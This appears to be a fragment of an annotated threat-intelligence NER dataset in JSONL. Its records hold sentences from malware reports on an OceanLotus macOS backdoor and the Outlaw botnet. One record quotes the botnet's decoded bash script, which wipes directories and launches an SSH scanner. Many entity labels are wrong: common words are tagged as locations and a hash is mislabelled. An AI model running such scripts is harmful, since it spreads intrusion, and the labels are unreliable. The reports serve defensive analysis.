email.","entities":[{"id":22669,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":7256,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":22670,"label":"location","start_offset":3,"end_offset":6},{"id":22671,"label":"location","start_offset":19,"end_offset":23},{"id":22672,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]} {"id":7257,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]} -{"id":7258,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":22673,"label":"location","start_offset":3,"end_offset":7},{"id":22674,"label":"location","start_offset":17,"end_offset":21},{"id":22675,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]} -{"id":7259,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":22676,"label":"location","start_offset":7,"end_offset":10},{"id":22677,"label":"location","start_offset":30,"end_offset":33},{"id":22678,"label":"location","start_offset":224,"end_offset":233},{"id":22680,"label":"location","start_offset":270,"end_offset":273},{"id":22681,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]} {"id":7260,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":22682,"label":"location","start_offset":0,"end_offset":4},{"id":22683,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":22684,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":22685,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]} {"id":7261,"text":"We recently discovered a new backdoor we believe to be related to the OceanLotus group.","entities":[],"relations":[],"Comments":[]} -{"id":7262,"text":"Some of the updates of this new variant (detected by Trend Micro as Backdoor.MacOS.OCEANLOTUS.F) include new behavior and domain names.","entities":[{"id":22688,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} -{"id":7263,"text":"As of writing, this sample is still undetected by other antimalware solutions.","entities":[{"id":22689,"label":"location","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]} -{"id":7264,"text":"Due to similarities in dynamic behavior and code with previous OceanLotus samples, it was confirmed to be a variant of the said malware.","entities":[{"id":22690,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} {"id":7265,"text":" Figures 1-2.","entities":[],"relations":[],"Comments":[]} -{"id":7266,"text":"Comparison of old OceanLotus sample (above) with the latest OceanLotus sample (below) OceanLotus was responsible for targeted attacks against organizations from industries such as media, research, and construction.","entities":[{"id":22694,"label":"location","start_offset":29,"end_offset":35},{"id":22696,"label":"location","start_offset":71,"end_offset":77},{"id":22698,"label":"location","start_offset":184,"end_offset":189},{"id":22699,"label":"location","start_offset":201,"end_offset":204}],"relations":[],"Comments":[]} {"id":7267,"text":"Recently they have also been discovered by researchers from Volexity to be using malicious websites to propagate malware.","entities":[],"relations":[],"Comments":[]} -{"id":7268,"text":"The attackers behind this sample are suspected to target users from Vietnam since the document’s name is in Vietnamese and the older samples targeted the same region before.","entities":[{"id":22701,"label":"location","start_offset":26,"end_offset":32},{"id":22702,"label":"location","start_offset":33,"end_offset":36},{"id":22703,"label":"location","start_offset":50,"end_offset":56},{"id":22706,"label":"location","start_offset":119,"end_offset":122},{"id":22707,"label":"location","start_offset":154,"end_offset":158},{"id":22708,"label":"location","start_offset":159,"end_offset":165}],"relations":[],"Comments":[]} {"id":7269,"text":"Arrival","entities":[],"relations":[],"Comments":[]} -{"id":7270,"text":"The sample arrives as an app bundled in a Zip archive.","entities":[{"id":22709,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]} {"id":7271,"text":"It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file.","entities":[],"relations":[],"Comments":[]} {"id":7272,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]} -{"id":7273,"text":"The sample’s file name, icon, and app bundle structure Another technique it uses to evade detection is adding special characters to its app bundle name.","entities":[{"id":22713,"label":"location","start_offset":4,"end_offset":10},{"id":22714,"label":"location","start_offset":30,"end_offset":33},{"id":22715,"label":"location","start_offset":45,"end_offset":54}],"relations":[],"Comments":[]} -{"id":7274,"text":"When a user looks for the fake doc folder via the macOS Finder app or the terminal command line, the folder's name shows \"ALL tim nha Chi Ngoc Canada.doc\" (“tìm nhà Chị Ngọc” roughly translates to “find Mrs. Ngoc’s house”).","entities":[{"id":22716,"label":"location","start_offset":134,"end_offset":137},{"id":22717,"label":"location","start_offset":215,"end_offset":220}],"relations":[],"Comments":[]} -{"id":7275,"text":"However, checking the original Zip file that contains the folder shows 3 unexpected bytes between \".\" and \"doc\".","entities":[{"id":22718,"label":"location","start_offset":90,"end_offset":97},{"id":22719,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} -{"id":7276,"text":" Figure 4. Special character between ‘.’ and ‘doc’ as viewed inside the zip archive.","entities":[{"id":22721,"label":"location","start_offset":33,"end_offset":40},{"id":22722,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} {"id":7277,"text":" The 3 bytes \"efb880\" is in UTF-8 encoding.","entities":[],"relations":[],"Comments":[]} {"id":7278,"text":"According to UTF-8 mapping, the related Unicode code is \"U+FE00\".","entities":[],"relations":[],"Comments":[]} -{"id":7279,"text":"Code point First byte Second byte Third byte Fourth byte U+0000 to U+007F 0xxxxxxx U+0080 to U+07FF 110xxxxx 10xxxxxx U+0800 to U+FFFF 1110xxxx 10xxxxxx 10xxxxxx U+10000 to U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx Table 1.","entities":[{"id":22723,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} {"id":7280,"text":"UTF-8","entities":[],"relations":[],"Comments":[]} {"id":7281,"text":"mapping","entities":[],"relations":[],"Comments":[]} {"id":7282,"text":"\"U+FE00\" is a special Unicode control character with name variation selector-1, which provides the visual appearance of a CJK compatibility ideograph.","entities":[],"relations":[],"Comments":[]} -{"id":7283,"text":"In this case, the preceding character is the general character \".\", so the variation selector does not change the visual appearance.","entities":[{"id":22725,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7284,"text":"The operating system sees the app bundle as an unsupported directory type, so as a default action the “open” command is used to execute the malicious app.","entities":[{"id":22726,"label":"location","start_offset":69,"end_offset":73},{"id":22727,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]} {"id":7285,"text":"Otherwise, if the postfix is .doc without special characters, Microsoft Word is called to open the app bundle as a document; but since it is not a valid document, the app fails to open it.","entities":[],"relations":[],"Comments":[]} {"id":7286,"text":"Here is the code signing information for the app bundle sample.","entities":[{"id":22729,"label":"attack-pattern","start_offset":12,"end_offset":24},{"id":22730,"label":"location","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]} {"id":7287,"text":" Figure 5. Code signing information for the sample ","entities":[{"id":22732,"label":"attack-pattern","start_offset":15,"end_offset":27},{"id":22733,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]} -{"id":7288,"text":"The app bundle contains two notable files: ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines configureDefault.def: The word file displayed during execution Figure 6. Contents of “ALL tim nha Chi Ngoc Canada” file Figure 7.","entities":[{"id":22734,"label":"location","start_offset":56,"end_offset":59},{"id":22735,"label":"location","start_offset":65,"end_offset":71},{"id":22736,"label":"location","start_offset":77,"end_offset":82},{"id":22738,"label":"location","start_offset":233,"end_offset":236},{"id":22739,"label":"location","start_offset":242,"end_offset":248}],"relations":[],"Comments":[]} -{"id":7289,"text":"The document displayed after executing the file When the shell script was run, it performed the following routines:","entities":[{"id":22740,"label":"location","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]} -{"id":7290,"text":"1) Delete the file quarantine attribute for the files in \"*ALL tim nha Chi Ngoc Canada.?doc*” 2) Attempt to remove file quarantine attribute of the files in the system.","entities":[{"id":22741,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":7291,"text":"3) Copy \"ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def(doc)\" to \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\" 4) Open \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\"","entities":[{"id":22742,"label":"location","start_offset":26,"end_offset":29},{"id":22743,"label":"location","start_offset":114,"end_offset":117},{"id":22744,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]} -{"id":7292,"text":"5) Extract the b64-encoded fat binary to \"ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def(fat - binary)\", which is the second-stage payload 6) Change access permission of second-stage payload to execute the launch of the second-stage payload","entities":[{"id":22745,"label":"location","start_offset":20,"end_offset":23},{"id":22746,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} -{"id":7293,"text":"7) Delete the malware app bundle \"ALL tim nha Chi Ngoc Canada.?doc\" 8) Copy \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\" to \"{execution directory}\/ALL tim nha Chi Ngoc Canada.doc\" 9) Delete \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc\" Second-stage payload","entities":[{"id":22747,"label":"location","start_offset":51,"end_offset":54},{"id":22748,"label":"location","start_offset":104,"end_offset":107},{"id":22749,"label":"location","start_offset":168,"end_offset":171},{"id":22750,"label":"location","start_offset":222,"end_offset":225}],"relations":[],"Comments":[]} -{"id":7294,"text":"When executed, the second stage payload (ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def) performs the following malware routines: 1) Drop third-stage payload to ~\/Library\/User Photos\/mount_devfs 2) Create persistence for the sample by creating ~\/Library\/LaunchAgents\/com.apple.marcoagent.voiceinstallerd.plist Figure 8.","entities":[{"id":22751,"label":"location","start_offset":53,"end_offset":56},{"id":22752,"label":"location","start_offset":261,"end_offset":267}],"relations":[],"Comments":[]} {"id":7295,"text":"Plist file ~\/Library\/LaunchAgents\/com.apple.marcoagent.voiceinstallerd.plist","entities":[],"relations":[],"Comments":[]} -{"id":7296,"text":" 3) Use the touch command to change the timestamp of the sample Figure 9.","entities":[{"id":22754,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]} {"id":7297,"text":"The timestamp of the dropped files 4) Delete itself","entities":[],"relations":[],"Comments":[]} {"id":7298,"text":"Third-stage payload","entities":[],"relations":[],"Comments":[]} -{"id":7299,"text":"In the third-stage payload (~\/Library\/User Photos\/mount_devfs), the strings are encrypted with custom encryption using base64 encoding and byte manipulation.","entities":[{"id":22755,"label":"location","start_offset":76,"end_offset":79},{"id":22756,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]} {"id":7300,"text":" Figure 10. Encrypted strings Figures 11-12.","entities":[],"relations":[],"Comments":[]} {"id":7301,"text":"Decryption routine Like older versions of the OceanLotus backdoor, the new version contains two main functions: one for collecting operating system information and submitting this to its malicious C&C servers and receiving additional C&C communication information, and another for the backdoor capabilities.","entities":[{"id":22758,"label":"malware","start_offset":50,"end_offset":60},{"id":22760,"label":"location","start_offset":116,"end_offset":119},{"id":22761,"label":"location","start_offset":164,"end_offset":167},{"id":22762,"label":"location","start_offset":213,"end_offset":216},{"id":22763,"label":"location","start_offset":269,"end_offset":272}],"relations":[],"Comments":[]} {"id":7302,"text":"It collects the following information from the infected system by invoking the following commands: Command Description system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Processor \/ {split($0,line,\\\":\\\"); printf(\\\"%s\\\",line[2]);}' Get processor information 15f20 = system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Memory\/ {split($0,line, \\\":\\\"); printf(\\\"%s\\\", line[2]);}'","entities":[],"relations":[],"Comments":[]} {"id":7303,"text":" Get memory information ioreg -rd1 -c IOPlatformExpertDevice | awk '\/IOPlatformSerialNumber\/ { split($0, line, \\\"\\\\\\\"\\\"); printf(\\\"%s\\\", line[4]); }","entities":[],"relations":[],"Comments":[]} {"id":7304,"text":"Get serial number ifconfig -l ifconfig | awk '\/ether \/{print $2}' 2>&1 Get network interface MAC addresses Table 2.","entities":[{"id":22764,"label":"tools","start_offset":21,"end_offset":29},{"id":22765,"label":"tools","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]} {"id":7305,"text":"OceanLotus commands and descriptions","entities":[{"id":22767,"label":"malware","start_offset":0,"end_offset":10},{"id":22768,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} -{"id":7306,"text":"The collected information is encrypted and sent to the malware C&C server. Figure 13.","entities":[{"id":22769,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]} {"id":7307,"text":"TCP stream excerpt of the malware sending information to C&C server","entities":[],"relations":[],"Comments":[]} -{"id":7308,"text":" It also receives commands from the same server. Figure 14.","entities":[{"id":22771,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]} {"id":7309,"text":"TCP stream excerpt of the malware receiving commands from C&C server","entities":[],"relations":[],"Comments":[]} -{"id":7310,"text":" Here are the C&C servers used by the malware: mihannevis[.]com mykessef[.]com idtpl[.]org ","entities":[{"id":22773,"label":"location","start_offset":9,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7311,"text":"The new variant’s backdoor capabilities are similar to those of the old OceanLotus sample, as detailed in the code excerpts below: Figures 15-16.","entities":[{"id":22774,"label":"location","start_offset":40,"end_offset":43},{"id":22776,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]} -{"id":7312,"text":"A comparison of the codes of the old OceanLotus variant (above) and the new one (below)","entities":[{"id":22779,"label":"location","start_offset":64,"end_offset":67},{"id":22780,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":7313,"text":" Below are the supported commands and their respective codes (taken from an earlier blog post that covered OceanLotus).","entities":[{"id":22781,"label":"location","start_offset":10,"end_offset":13},{"id":22782,"label":"location","start_offset":37,"end_offset":40},{"id":22783,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7314,"text":"0x33 Get file size 0xe8 Exit 0xa2 Download and execute a file 0xac Run command in terminal 0x48 Remove file 0x72 Upload file 0x23 Download file 0x3c Download file 0x07 Get configuration info 0x55 Empty response, heartbeat packet Table 3.","entities":[{"id":22785,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":7315,"text":"Supported commands and their respective codes","entities":[{"id":22787,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]} -{"id":7316,"text":"Details about C&C domain names According to its Google and Whois history, the mihannevis[.]com domain was used to host other websites in the past before it was changed to a C&C server around the end of August 2020.","entities":[{"id":22788,"label":"location","start_offset":55,"end_offset":58},{"id":22790,"label":"location","start_offset":114,"end_offset":118},{"id":22791,"label":"location","start_offset":209,"end_offset":213}],"relations":[],"Comments":[]} {"id":7317,"text":" Figures 17-18.","entities":[],"relations":[],"Comments":[]} -{"id":7318,"text":"Domain history of mihannevis[.]com, from Whois (above) and Google (below) In VirusTotal, some related URL queries appeared at the end of August.","entities":[{"id":22793,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":7319,"text":" Figure 19. URLs related to mihannevis[.]com as seen on VirusTotal ","entities":[],"relations":[],"Comments":[]} {"id":7320,"text":"The domain \"mykessef[.]com\" was used for the C&C server earlier.","entities":[],"relations":[],"Comments":[]} {"id":7321,"text":" Figure 20.","entities":[],"relations":[],"Comments":[]} {"id":7322,"text":"Domain history of mykessef[.]com based on Whois Lookup ","entities":[],"relations":[],"Comments":[]} -{"id":7323,"text":"The domain name \"idtpl[.]org\" was registered three years ago, and there was no update history.","entities":[{"id":22798,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} -{"id":7324,"text":"According to Whois lookup, its register expired at the end of March 2020.","entities":[{"id":22799,"label":"location","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]} {"id":7325,"text":"Figure 21.","entities":[],"relations":[],"Comments":[]} {"id":7326,"text":"idtpl[.]org registration information based on Whois Lookup But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.]91. Figure 22. Domain History of idtpl[.]org as seen on VirusTotal","entities":[{"id":22803,"label":"IPV4","start_offset":123,"end_offset":142}],"relations":[],"Comments":[]} {"id":7327,"text":" Recommendations","entities":[],"relations":[],"Comments":[]} {"id":7328,"text":"Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.","entities":[{"id":22805,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":22806,"label":"location","start_offset":33,"end_offset":36},{"id":22807,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7329,"text":"The following best practices can be applied to defend against malware: Never click links or download attachments from emails coming from suspicious sources Regularly patch and update software and applications Use security solutions suitable for your operating system To protect systems operating on macOS, we recommend Trend Micro Home Security for Mac, which offers comprehensive and multi-device protection against malware and other cyberthreats.","entities":[{"id":22808,"label":"location","start_offset":14,"end_offset":18},{"id":22809,"label":"location","start_offset":29,"end_offset":32},{"id":22810,"label":"location","start_offset":173,"end_offset":176},{"id":22811,"label":"location","start_offset":193,"end_offset":196},{"id":22812,"label":"location","start_offset":214,"end_offset":222},{"id":22813,"label":"location","start_offset":327,"end_offset":332},{"id":22814,"label":"location","start_offset":333,"end_offset":337},{"id":22815,"label":"location","start_offset":338,"end_offset":346},{"id":22816,"label":"location","start_offset":383,"end_offset":386},{"id":22817,"label":"location","start_offset":400,"end_offset":410},{"id":22818,"label":"location","start_offset":427,"end_offset":430}],"relations":[],"Comments":[]} {"id":7330,"text":"Indicators of Compromise SHA-256 Filename\/Description Trend Micro Pattern Detection cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420 ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip Backdoor.MacOS.OCEANLOTUS.F 48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f ALL tim","entities":[{"id":22819,"label":"location","start_offset":63,"end_offset":68},{"id":22820,"label":"SHA2","start_offset":88,"end_offset":152},{"id":22821,"label":"MD5","start_offset":227,"end_offset":291}],"relations":[],"Comments":[]} {"id":7331,"text":"nha","entities":[],"relations":[],"Comments":[]} {"id":7332,"text":"Chi Ngoc Canada Backdoor.SH.OCEANLOTUS.F 05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3 2nd stage fat binary Backdoor.MacOS.OCEANLOTUS.F fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737 3rd stage fat binary Backdoor.MacOS.OCEANLOTUS.F Domains mihannevis[.]com mykessef[.]com idtpl[.]org MITRE TTP Tactic ID Name","entities":[{"id":22822,"label":"location","start_offset":0,"end_offset":3},{"id":22823,"label":"location","start_offset":9,"end_offset":15},{"id":22824,"label":"SHA1","start_offset":43,"end_offset":107},{"id":22825,"label":"SHA2","start_offset":160,"end_offset":224}],"relations":[],"Comments":[]} @@ -4415,112 +5367,45 @@ {"id":7335,"text":"The backdoor changes the permission of the file it wants to execute to +x T1027 Obfuscated Files or Information Readable strings were encrypted T1036.005 Masquerading: Match Legitimate Name or Location The app bundle is disguised as a doc file to trick users into executing it T1070.006 Indicator Removal","entities":[{"id":22830,"label":"attack-pattern","start_offset":82,"end_offset":113},{"id":22831,"label":"attack-pattern","start_offset":159,"end_offset":171}],"relations":[],"Comments":[]} {"id":7336,"text":"on Host","entities":[],"relations":[],"Comments":[]} {"id":7337,"text":"Timestomp The backdoor modifies the date and time of the dropped files using the “touch” command Discovery T1082 System Information Discovery The backdoor collects various information to send to the C&C server Collection T1560.003 Archive Collected Data: Archive via Custom Method The backdoor encrypts the data before exfiltration Command and Control T1095 Non-Application Layer Protocol","entities":[{"id":22832,"label":"attack-pattern","start_offset":0,"end_offset":9},{"id":22833,"label":"location","start_offset":37,"end_offset":41},{"id":22834,"label":"location","start_offset":42,"end_offset":45},{"id":22835,"label":"location","start_offset":46,"end_offset":50},{"id":22836,"label":"attack-pattern","start_offset":117,"end_offset":145},{"id":22837,"label":"location","start_offset":350,"end_offset":353}],"relations":[],"Comments":[]} -{"id":7338,"text":"Like previous samples, performs backdoor routines based on C&C data Tags Malware | APT & Targeted Attacks | Research | Articles, News, Reports","entities":[{"id":22838,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} {"id":7339,"text":"As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity.","entities":[{"id":22839,"label":"location","start_offset":83,"end_offset":91},{"id":22840,"label":"malware","start_offset":93,"end_offset":100}],"relations":[],"Comments":[]} {"id":7340,"text":"It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources.","entities":[],"relations":[],"Comments":[]} {"id":7341,"text":"While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.","entities":[],"relations":[],"Comments":[]} -{"id":7342,"text":"The updates expanded scanner parameters and targets, looped execution of files via error messages, improved evasion techniques for scanning activities, and improved mining profits by killing off both the competition and their own previous miners.","entities":[{"id":22845,"label":"location","start_offset":40,"end_offset":43},{"id":22846,"label":"location","start_offset":152,"end_offset":155},{"id":22847,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]} -{"id":7343,"text":"We analyzed the kits, which were designed to steal information from the automotive and finance industries, launch subsequent attacks on already compromised systems, and (possibly) sell stolen information.","entities":[{"id":22848,"label":"location","start_offset":83,"end_offset":86},{"id":22849,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} -{"id":7344,"text":"Comparing this development to their previous attacks, we think Outlaw may be aiming to go after enterprises that have yet to update their systems, assessing security and changes with their previously infected hosts, finding new and old targets, and possibly testing their updates in the wild.","entities":[{"id":22851,"label":"location","start_offset":70,"end_offset":73},{"id":22852,"label":"location","start_offset":157,"end_offset":165},{"id":22853,"label":"location","start_offset":166,"end_offset":169},{"id":22854,"label":"location","start_offset":228,"end_offset":231},{"id":22855,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]} -{"id":7345,"text":" We will continue to observe the group’s activities as they target industries from the United States and Europe.","entities":[{"id":22856,"label":"location","start_offset":4,"end_offset":8},{"id":22857,"label":"location","start_offset":60,"end_offset":66},{"id":22859,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":7346,"text":"Based on the samples we collected and traced to 456 distinct IPs, we expect the group to be more active in the coming months as we observed changes on the versions we acquired.","entities":[{"id":22861,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]} {"id":7347,"text":"Routine","entities":[],"relations":[],"Comments":[]} -{"id":7348,"text":"These new samples targeted Linux- and Unix-based operating systems, vulnerable servers, and internet of things (IoT) devices by exploiting known vulnerabilities with available exploits.","entities":[{"id":22864,"label":"location","start_offset":34,"end_offset":37},{"id":22865,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]} -{"id":7349,"text":"This time, the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit (CVE-2016-5195) as attack vectors.","entities":[{"id":22866,"label":"location","start_offset":5,"end_offset":9},{"id":22867,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":7350,"text":"Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials.","entities":[{"id":22868,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} -{"id":7351,"text":"While no phishing- or social engineering-initiated routines were observed in this campaign, we found multiple attacks over the network that are considered “loud.”","entities":[{"id":22869,"label":"location","start_offset":82,"end_offset":90},{"id":22870,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]} -{"id":7352,"text":"These involved large-scale scanning operations of IP ranges intentionally launched from the command and control (C&C) server.","entities":[{"id":22871,"label":"location","start_offset":15,"end_offset":20},{"id":22872,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} {"id":7353,"text":"The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed.","entities":[],"relations":[],"Comments":[]} -{"id":7354,"text":"We also considered the move as an obfuscation technique, as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online.","entities":[{"id":22873,"label":"location","start_offset":80,"end_offset":83},{"id":22874,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":7355,"text":"The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times.","entities":[{"id":22875,"label":"TIME","start_offset":56,"end_offset":74},{"id":22876,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]} {"id":7356,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]} {"id":7357,"text":"Anomalous properties of a command detected from traffic","entities":[],"relations":[],"Comments":[]} -{"id":7358,"text":"From the sample we analyzed, attacks started from one virtual private server (VPS) that searches for a vulnerable machine to compromise (previous techniques used malicious URLs or infecting legitimate websites for bot propagation).","entities":[{"id":22878,"label":"location","start_offset":9,"end_offset":15},{"id":22879,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":7359,"text":"Once infected, the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “whole kit” of binary files at once with naming conventions same as the ones already in the targeted host, likely banking on breaking through via “security through obscurity.”","entities":[{"id":22880,"label":"location","start_offset":90,"end_offset":93},{"id":22881,"label":"location","start_offset":186,"end_offset":190},{"id":22882,"label":"location","start_offset":227,"end_offset":231},{"id":22883,"label":"location","start_offset":233,"end_offset":239},{"id":22884,"label":"location","start_offset":273,"end_offset":281}],"relations":[],"Comments":[]} {"id":7360,"text":"They attempted to evade traffic inspection by encoding the code for the scanner with base-64.","entities":[],"relations":[],"Comments":[]} -{"id":7361,"text":"The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background.","entities":[{"id":22885,"label":"location","start_offset":11,"end_offset":15},{"id":22886,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} {"id":7362,"text":"Decoding the scanner revealed the following codes: #!\/bin\/bash cd \/tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv \/var\/tmp\/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd \/tmp\/.X19-unix\/.rsync\/c nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 \/tmp\/up.txt 192.168 >> \/dev\/null 2>1& sleep 8m && nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0","entities":[],"relations":[],"Comments":[]} {"id":7363,"text":"\/tmp","entities":[],"relations":[],"Comments":[]} {"id":7364,"text":"\/up.txt 172.16","entities":[],"relations":[],"Comments":[]} {"id":7365,"text":"> \/dev\/null 2>1& sleep 20m && cd ..; \/tmp\/.X19-unix\/.rsync\/initall 2>1& exit 0 ","entities":[],"relations":[],"Comments":[]} {"id":7366,"text":"The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.","entities":[],"relations":[],"Comments":[]} -{"id":7367,"text":"While previous routines took advantage of competing miners’ activities and unrelated components to hijack the profit, the latest version of the code attempts to remove all related files and codes from previous infections (including their own to make sure the running components are updated, as well as those from other cybercriminals to maximize the resources of the zombie host) and creates a new working directory \/tmp\/.X19-unix to move the kit and extract the files.","entities":[{"id":22887,"label":"location","start_offset":71,"end_offset":74},{"id":22888,"label":"location","start_offset":186,"end_offset":189},{"id":22889,"label":"location","start_offset":278,"end_offset":281},{"id":22890,"label":"location","start_offset":374,"end_offset":378},{"id":22891,"label":"location","start_offset":380,"end_offset":383},{"id":22892,"label":"location","start_offset":447,"end_offset":450}],"relations":[],"Comments":[]} {"id":7368,"text":"The tsm binary then runs in the background, forwarding a series of error messages to \/dev\/null to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters \/tmp\/up.txt.","entities":[],"relations":[],"Comments":[]} {"id":7369,"text":"The script then waits 20 minutes before it runs the wrapper script initall: 2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a initall Figure 2.","entities":[{"id":22893,"label":"location","start_offset":16,"end_offset":21},{"id":22894,"label":"TIME","start_offset":22,"end_offset":32},{"id":22895,"label":"SHA2","start_offset":76,"end_offset":140}],"relations":[],"Comments":[]} {"id":7370,"text":"Running the initall wrapper script","entities":[],"relations":[],"Comments":[]} {"id":7371,"text":"Another variant executes a set of commands once a system is successfully compromised.","entities":[],"relations":[],"Comments":[]} -{"id":7372,"text":"Most of these commands are related to gathering information from the infected machine (number of CPU cores, users, scheduled tasks, running processes, OS installed, and CPU and memory information) via the dota3 payload, as well as changing the password to a random string also stored in \/tmp\/up.txt.","entities":[{"id":22897,"label":"location","start_offset":0,"end_offset":4},{"id":22898,"label":"location","start_offset":23,"end_offset":26},{"id":22899,"label":"location","start_offset":165,"end_offset":168},{"id":22900,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} -{"id":7373,"text":"In a previous 